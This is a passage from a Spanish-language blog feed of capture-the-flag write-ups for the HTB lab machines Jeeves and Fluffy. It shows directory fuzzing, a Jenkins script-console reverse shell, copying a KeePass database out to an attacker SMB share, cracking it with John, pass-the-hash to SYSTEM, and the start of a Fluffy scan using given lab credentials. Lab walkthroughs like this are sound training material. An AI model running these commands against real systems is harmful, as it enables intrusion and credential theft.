&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-powershell" data-lang="powershell"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;ffuf -w /usr/share/wordlists/seclists/Discovery/Web-Content/directory-list-&lt;span style="color:#ae81ff"&gt;2.3&lt;/span&gt;-medium.txt -u http&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt;//&lt;span style="color:#ae81ff"&gt;10.129&lt;/span&gt;.79.&lt;span style="color:#ae81ff"&gt;44&lt;/span&gt;&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt;&lt;span style="color:#ae81ff"&gt;50000&lt;/span&gt;/FUZZ ---- NO ENCONTRAMOS NADA
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;ffuf -w /usr/share/wordlists/seclists/Discovery/Web-Content/directory-list-&lt;span style="color:#ae81ff"&gt;2.3&lt;/span&gt;-medium.txt -u http&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt;//&lt;span style="color:#ae81ff"&gt;10.129&lt;/span&gt;.79.&lt;span style="color:#ae81ff"&gt;44&lt;/span&gt;/FUZZ ---- askjeeves [Status&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt; &lt;span style="color:#ae81ff"&gt;302&lt;/span&gt;, Size&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt; &lt;span style="color:#ae81ff"&gt;0&lt;/span&gt;, Words&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt; &lt;span style="color:#ae81ff"&gt;1&lt;/span&gt;, Lines&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt; &lt;span style="color:#ae81ff"&gt;1&lt;/span&gt;, Duration&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt; 54ms]
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;h2 id="acceso-inicial-jenkins"&gt;Acceso Inicial (Jenkins)&lt;/h2&gt;
&lt;p&gt;Al acceder a &lt;code&gt;http://10.129.79.44/askjeeves&lt;/code&gt;, encontramos un servidor de automatización &lt;strong&gt;Jenkins&lt;/strong&gt; (versión 2.87).&lt;/p&gt;
&lt;p&gt;&lt;img src="https://synacklabs.github.io/images/notion/2ee888fa-f353-80ba-b41a-c5d84df3c4f0.png" alt="Imagen del post"&gt;&lt;/p&gt;
&lt;h3 id="explotación-de-groovy-script-console"&gt;Explotación de Groovy Script Console&lt;/h3&gt;
&lt;p&gt;No se requieren credenciales. Podemos acceder a &lt;code&gt;Manage Jenkins&lt;/code&gt; -&amp;gt; &lt;code&gt;Script Console&lt;/code&gt;. Esta consola permite ejecutar scripts en &lt;strong&gt;Groovy&lt;/strong&gt;, lo cual equivale a ejecución de comandos en el sistema.&lt;/p&gt;
&lt;p&gt;Probamos una Reverse Shell en Groovy:&lt;/p&gt;
&lt;p&gt;&lt;img src="https://synacklabs.github.io/images/notion/2ee888fa-f353-802c-b812-df7729a7b505.png" alt="Imagen del post"&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src="https://synacklabs.github.io/images/notion/2ee888fa-f353-808b-a7ab-ed6d5d36e1e0.png" alt="Imagen del post"&gt;&lt;/p&gt;
&lt;p&gt;Conseguimos acceso como el usuario: &lt;code&gt;jeeves\kohsuke&lt;/code&gt;.&lt;/p&gt;
&lt;p&gt;Enumeramos buscando la user flag que la encontramos en el directorio ‘Desktop’ de este mismo usuario.&lt;/p&gt;
&lt;p&gt;Enumerando el sistema de archivos de &lt;code&gt;kohsuke&lt;/code&gt;, encontramos un archivo interesante en el directorio ‘Documents’:&lt;/p&gt;
&lt;p&gt;&lt;img src="https://synacklabs.github.io/images/notion/2ee888fa-f353-8030-9245-ef1c47ee0cde.png" alt="Imagen del post"&gt;&lt;/p&gt;
&lt;p&gt;La extensión &lt;code&gt;.kdbx&lt;/code&gt; pertenece a &lt;strong&gt;KeePass&lt;/strong&gt;, que es un gestor de contraseñas de código abierto.&lt;/p&gt;
&lt;h2 id="post-explotación-y-movimiento-lateral"&gt;Post-Explotación y Movimiento Lateral&lt;/h2&gt;
&lt;h3 id="exfiltración-con-smbserver"&gt;Exfiltración con SMBServer&lt;/h3&gt;
&lt;p&gt;Levantamos un servidor SMB en Kali y copiamos el archivo desde la máquina víctima.&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-powershell" data-lang="powershell"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;En Kali (Atacante)&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;sudo impacket-smbserver share -smb2support /home/kali//Desktop/HTB/Jeeves/loot/share
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;...
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;[*] User JEEVES\kohsuke authenticated successfully
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;[*] kohsuke::JEEVES&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt;aaaaaaaaaaaaaaaa&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt;7507b33e1ec7eb5636215c53f6838840&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt;0101000000000000003f85a8258adc014b20a5279bb7f11d000000000100100046006d0075004f006f00700048006e000300100046006d0075004f006f00700048006e000200100077004b007800780061005600580068000400100077004b0078007800610056005800680007000800003f85a8258adc0106000400020000000800300030000000000000000000000000300000d25ba4cb43338289e6e027ea75d7d00fae7f01ff23696236086241c02e9b50070a001000000000000000000000000000000000000900200063006900660073002f00310030002e00310030002e00310035002e0034003400000000000000000000000000
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;[*] Connecting Share(&lt;span style="color:#ae81ff"&gt;1&lt;/span&gt;&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt;share)
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;En Windows (Víctima)&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;C:\Users\kohsuke\Documents&amp;gt;copy CEH.kdbx \\&lt;span style="color:#ae81ff"&gt;10.10&lt;/span&gt;.15.&lt;span style="color:#ae81ff"&gt;44&lt;/span&gt;\share\
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;copy CEH.kdbx \\&lt;span style="color:#ae81ff"&gt;10.10&lt;/span&gt;.15.&lt;span style="color:#ae81ff"&gt;44&lt;/span&gt;\share\
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#ae81ff"&gt;1&lt;/span&gt; file(s) copied.
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;h3 id="cracking-keepass"&gt;Cracking KeePass&lt;/h3&gt;
&lt;p&gt;Primero extraemos el hash del archivo &lt;code&gt;.kdbx&lt;/code&gt; y luego lo crackeamos con John the Ripper.&lt;/p&gt;
&lt;p&gt;&lt;img src="https://synacklabs.github.io/images/notion/2ee888fa-f353-8033-bb0f-e4fbdc72c8b1.png" alt="Imagen del post"&gt;&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-powershell" data-lang="powershell"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;john --format=keepass keepass.hash -w=/usr/share/wordlists/seclists/rockyou.txt
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;Loaded &lt;span style="color:#ae81ff"&gt;1&lt;/span&gt; password hash (KeePass [SHA256 AES &lt;span style="color:#ae81ff"&gt;32&lt;/span&gt;/&lt;span style="color:#ae81ff"&gt;64&lt;/span&gt;])
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;moonshine1 (CEH)
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;h3 id="inspección-de-credenciales-kpcli"&gt;Inspección de Credenciales (Kpcli)&lt;/h3&gt;
&lt;p&gt;Usamos &lt;code&gt;kpcli&lt;/code&gt; para abrir la base de datos con la contraseña obtenida.&lt;/p&gt;
&lt;p&gt;&lt;img src="https://synacklabs.github.io/images/notion/2ee888fa-f353-8053-9abe-ddb5454c044d.png" alt="Imagen del post"&gt;&lt;/p&gt;
&lt;p&gt;Podemos ver las credenciales.&lt;/p&gt;
&lt;p&gt;&lt;img src="https://synacklabs.github.io/images/notion/2ee888fa-f353-8021-997f-cb72b82132d0.png" alt="Imagen del post"&gt;&lt;/p&gt;
&lt;p&gt;Si las copiamos las tenemos en el copiapapeles.&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-powershell" data-lang="powershell"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;kpcli&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt;/CEH&amp;gt; show &lt;span style="color:#ae81ff"&gt;0&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;Title&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt; Backup stuff
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;Uname&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt; ?
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; Pass&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt; aad3b435b51404eeaad3b435b51404ee&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt;e0fb1fb85756c24235ff238cbe81fe00
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;  URL&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt; 
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;Notes&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt; 
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;kpcli&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt;/CEH&amp;gt; show -p &lt;span style="color:#ae81ff"&gt;4&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;Unknown option&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt; p
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;Title&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt; It&lt;span style="color:#960050;background-color:#1e0010"&gt;&amp;#39;&lt;/span&gt;s a secret
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;Uname&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt; admin
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; Pass&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt; F7WhTrSFDKB6sxHU1cUn
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;  URL&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt; http&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt;//localhost&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt;&lt;span style="color:#ae81ff"&gt;8180&lt;/span&gt;/secret.jsp
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;Notes&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt; 
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;Title&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt; Keys to the kingdom
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;Uname&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt; bob
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; Pass&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt; lCEUnYPjNfIuPZSzOySA
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; URL&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;Notes&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;h2 id="escalada-de-privilegios-pass-the-hash"&gt;Escalada de Privilegios (Pass The Hash)&lt;/h2&gt;
&lt;p&gt;El hash encontrado en &amp;ldquo;Backup stuff&amp;rdquo; es un hash NTLM. Podemos usar la técnica &lt;strong&gt;Pass The Hash (PtH)&lt;/strong&gt; para autenticarnos como Administrador sin saber la contraseña en texto claro.&lt;/p&gt;
&lt;p&gt;&lt;img src="https://synacklabs.github.io/images/notion/2ee888fa-f353-8028-bbf4-f8c0847fcca8.png" alt="Imagen del post"&gt;&lt;/p&gt;
&lt;p&gt;¡Éxito! Obtenemos una shell como &lt;code&gt;nt authority\system&lt;/code&gt;.&lt;/p&gt;
&lt;p&gt;&lt;img src="https://synacklabs.github.io/images/notion/2ee888fa-f353-80c1-b2d7-e85a480e1efb.png" alt="Imagen del post"&gt;&lt;/p&gt;
&lt;p&gt;Pues parece que no hemos acabado …&lt;/p&gt;
&lt;h2 id="el-rabbit-hole-de-la-root-flag-ads"&gt;El &amp;ldquo;Rabbit Hole&amp;rdquo; de la Root Flag (ADS)&lt;/h2&gt;
&lt;p&gt;Al ir al directorio del Administrador (&lt;code&gt;C:\Users\Administrator\Desktop&lt;/code&gt;), encontramos un archivo &lt;code&gt;hm.txt&lt;/code&gt; pero &lt;strong&gt;no está la flag&lt;/strong&gt; &lt;strong&gt;&lt;code&gt;root.txt&lt;/code&gt;&lt;/strong&gt;.&lt;/p&gt;
&lt;p&gt;Al leer &lt;code&gt;hm.txt&lt;/code&gt;, nos da una pista sobre &amp;ldquo;mirar más profundo&amp;rdquo;. Esto hace referencia a los &lt;strong&gt;Alternate Data Streams (ADS)&lt;/strong&gt; de NTFS.&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;Concepto: ADS&lt;br&gt;
En NTFS, un archivo puede tener múltiples flujos de datos adjuntos. El flujo principal es $DATA, pero se pueden ocultar datos detrás del archivo principal, invisibles para un dir normal o el explorador de Windows.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;&lt;img src="https://synacklabs.github.io/images/notion/2ee888fa-f353-805d-be76-ec4dda663a85.png" alt="Imagen del post"&gt;&lt;/p&gt;
&lt;hr&gt;
&lt;h3 id="cómo-funcionan-los-ads"&gt;¿Cómo funcionan los ADS?&lt;/h3&gt;
&lt;p&gt;En un sistema NTFS, un archivo se identifica por el formato &lt;code&gt;nombre_archivo:nombre_stream&lt;/code&gt;.&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;Flujo estándar:&lt;/strong&gt; Cuando abres &lt;code&gt;archivo.txt&lt;/code&gt;, en realidad estás abriendo &lt;code&gt;archivo.txt:$DATA&lt;/code&gt;.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Flujo alternativo:&lt;/strong&gt; Puedes crear algo como &lt;code&gt;archivo.txt:secreto.txt&lt;/code&gt;.&lt;/li&gt;
&lt;/ul&gt;
&lt;h3 id="leer-el-contenido-del-flujo-oculto"&gt;Leer el contenido del flujo oculto&lt;/h3&gt;
&lt;p&gt;No se puede usar &lt;code&gt;type&lt;/code&gt; directamente sobre el stream. usamos el comando &lt;code&gt;more&lt;/code&gt; :&lt;/p&gt;
&lt;p&gt;&lt;code&gt;more &amp;lt; hm.txt:root.txt&lt;/code&gt;&lt;/p&gt;
&lt;p&gt;Ahora si conseguimos la root flag!&lt;/p&gt;</content><author>admin@synacklabs.github.io (SynAckLabs)</author></item><item><title>Fluffy (Easy)</title><link>https://synacklabs.github.io/posts/fluffy/</link><pubDate>Mon, 19 Jan 2026 00:00:00 +0000</pubDate><guid>https://synacklabs.github.io/posts/fluffy/</guid><description>&lt;h3 id="resumen"&gt;Resumen&lt;/h3&gt;
&lt;p&gt;Esta máquina es un &lt;strong&gt;Domain Controller&lt;/strong&gt; de Active Directory. Empiezo con unas credenciales iniciales para enumerar SMB, encuentro un share con material (incluyendo un PDF con CVEs) y abuso &lt;strong&gt;CVE-2025-24071&lt;/strong&gt; para forzar una autenticación SMB y capturar un &lt;strong&gt;hash NTLMv2&lt;/strong&gt;. Tras crackearlo, uso BloodHound para identificar un camino de escalada vía permisos &lt;strong&gt;GenericWrite&lt;/strong&gt;, realizo &lt;strong&gt;Shadow Credentials&lt;/strong&gt; con Certipy para obtener hashes NT, y finalmente abuso una mala configuración de &lt;strong&gt;AD CS&lt;/strong&gt; identificada como &lt;strong&gt;ESC16&lt;/strong&gt; para impersonar a &lt;strong&gt;Administrator&lt;/strong&gt;.&lt;/p&gt;</description><content>&lt;h3 id="resumen"&gt;Resumen&lt;/h3&gt;
&lt;p&gt;Esta máquina es un &lt;strong&gt;Domain Controller&lt;/strong&gt; de Active Directory. Empiezo con unas credenciales iniciales para enumerar SMB, encuentro un share con material (incluyendo un PDF con CVEs) y abuso &lt;strong&gt;CVE-2025-24071&lt;/strong&gt; para forzar una autenticación SMB y capturar un &lt;strong&gt;hash NTLMv2&lt;/strong&gt;. Tras crackearlo, uso BloodHound para identificar un camino de escalada vía permisos &lt;strong&gt;GenericWrite&lt;/strong&gt;, realizo &lt;strong&gt;Shadow Credentials&lt;/strong&gt; con Certipy para obtener hashes NT, y finalmente abuso una mala configuración de &lt;strong&gt;AD CS&lt;/strong&gt; identificada como &lt;strong&gt;ESC16&lt;/strong&gt; para impersonar a &lt;strong&gt;Administrator&lt;/strong&gt;.&lt;/p&gt;
&lt;p&gt;&lt;img src="https://synacklabs.github.io/images/notion/2ed888fa-f353-80da-860f-c99f94fb2f7b.png" alt="Imagen del post"&gt;&lt;/p&gt;
&lt;h3 id="credenciales-iniciales"&gt;Credenciales iniciales&lt;/h3&gt;
&lt;p&gt;Credenciales dadas: j.fleischman:J0elTHEM4n1990!&lt;/p&gt;
&lt;h3 id="escaneo"&gt;Escaneo&lt;/h3&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-powershell" data-lang="powershell"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#ae81ff"&gt;53&lt;/span&gt;/tcp open domain syn-ack ttl &lt;span style="color:#ae81ff"&gt;127&lt;/span&gt; Simple DNS Plus
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#ae81ff"&gt;88&lt;/span&gt;/tcp open kerberos-sec syn-ack ttl &lt;span style="color:#ae81ff"&gt;127&lt;/span&gt; Microsoft Windows Kerberos (server time&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt; &lt;span style="color:#ae81ff"&gt;2026&lt;/span&gt;-&lt;span style="color:#ae81ff"&gt;01&lt;/span&gt;-&lt;span style="color:#ae81ff"&gt;19&lt;/span&gt; &lt;span style="color:#ae81ff"&gt;23&lt;/span&gt;&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt;&lt;span style="color:#ae81ff"&gt;10&lt;/span&gt;&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt;55Z)
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#ae81ff"&gt;139&lt;/span&gt;/tcp open netbios-ssn syn-ack ttl &lt;span style="color:#ae81ff"&gt;127&lt;/span&gt; Microsoft Windows netbios-ssn
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#ae81ff"&gt;389&lt;/span&gt;/tcp open ldap syn-ack ttl &lt;span style="color:#ae81ff"&gt;127&lt;/span&gt; Microsoft Windows Active Directory LDAP (Domain&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt; fluffy.htb0., Site&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt; Default-First-Site-Name)
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;|_ssl-date: &lt;span style="color:#ae81ff"&gt;2026&lt;/span&gt;-&lt;span style="color:#ae81ff"&gt;01&lt;/span&gt;-19T23&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt;&lt;span style="color:#ae81ff"&gt;12&lt;/span&gt;&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt;&lt;span style="color:#ae81ff"&gt;24&lt;/span&gt;+&lt;span style="color:#ae81ff"&gt;00&lt;/span&gt;&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt;&lt;span style="color:#ae81ff"&gt;00&lt;/span&gt;; +7h00m03s from scanner time.
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;| ssl-cert&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt; Subject&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt; commonName=DC01.fluffy.htb
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;| Subject Alternative Name&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt; othername&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt; &lt;span style="color:#ae81ff"&gt;1.3&lt;/span&gt;.6.1.4.1.311.25.&lt;span style="color:#ae81ff"&gt;1&lt;/span&gt;&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt;&amp;lt;unsupported&amp;gt;, DNS&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt;DC01.fluffy.htb
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;| Issuer&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt; commonName=fluffy-DC01-CA/domainComponent=fluffy
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;| Public Key type&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt; rsa
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;| Public Key bits&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt; &lt;span style="color:#ae81ff"&gt;2048&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;| Signature Algorithm&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt; sha256WithRSAEncryption
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;| Not valid before&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt; &lt;span style="color:#ae81ff"&gt;2025&lt;/span&gt;-&lt;span style="color:#ae81ff"&gt;04&lt;/span&gt;-17T16&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt;&lt;span style="color:#ae81ff"&gt;04&lt;/span&gt;&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt;&lt;span style="color:#ae81ff"&gt;17&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;| Not valid after&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt; &lt;span style="color:#ae81ff"&gt;2026&lt;/span&gt;-&lt;span style="color:#ae81ff"&gt;04&lt;/span&gt;-17T16&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt;&lt;span style="color:#ae81ff"&gt;04&lt;/span&gt;&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt;&lt;span style="color:#ae81ff"&gt;17&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;| -----BEGIN CERTIFICATE-----
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;| MIIGJzCCBQ+gAwIBAgITUAAAAAJKRwEaLBjVaAAAAAAAAjANBgkqhkiG9w0BAQsF
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;| ...
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;|_-----END CERTIFICATE-----
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#ae81ff"&gt;445&lt;/span&gt;/tcp open microsoft-ds? syn-ack ttl &lt;span style="color:#ae81ff"&gt;127&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#ae81ff"&gt;464&lt;/span&gt;/tcp open kpasswd5? syn-ack ttl &lt;span style="color:#ae81ff"&gt;127&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#ae81ff"&gt;593&lt;/span&gt;/tcp open ncacn_http syn-ack ttl &lt;span style="color:#ae81ff"&gt;127&lt;/span&gt; Microsoft Windows RPC over HTTP &lt;span style="color:#ae81ff"&gt;1.0&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#ae81ff"&gt;636&lt;/span&gt;/tcp open ssl/ldap syn-ack ttl &lt;span style="color:#ae81ff"&gt;127&lt;/span&gt; Microsoft Windows Active Directory LDAP (Domain&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt; fluffy.htb0., Site&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt; Default-First-Site-Name)
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;|_ssl-date: &lt;span style="color:#ae81ff"&gt;2026&lt;/span&gt;-&lt;span style="color:#ae81ff"&gt;01&lt;/span&gt;-19T23&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt;&lt;span style="color:#ae81ff"&gt;12&lt;/span&gt;&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt;&lt;span style="color:#ae81ff"&gt;25&lt;/span&gt;+&lt;span style="color:#ae81ff"&gt;00&lt;/span&gt;&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt;&lt;span style="color:#ae81ff"&gt;00&lt;/span&gt;; +7h00m03s from scanner time.
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;| ssl-cert&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt; Subject&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt; commonName=DC01.fluffy.htb
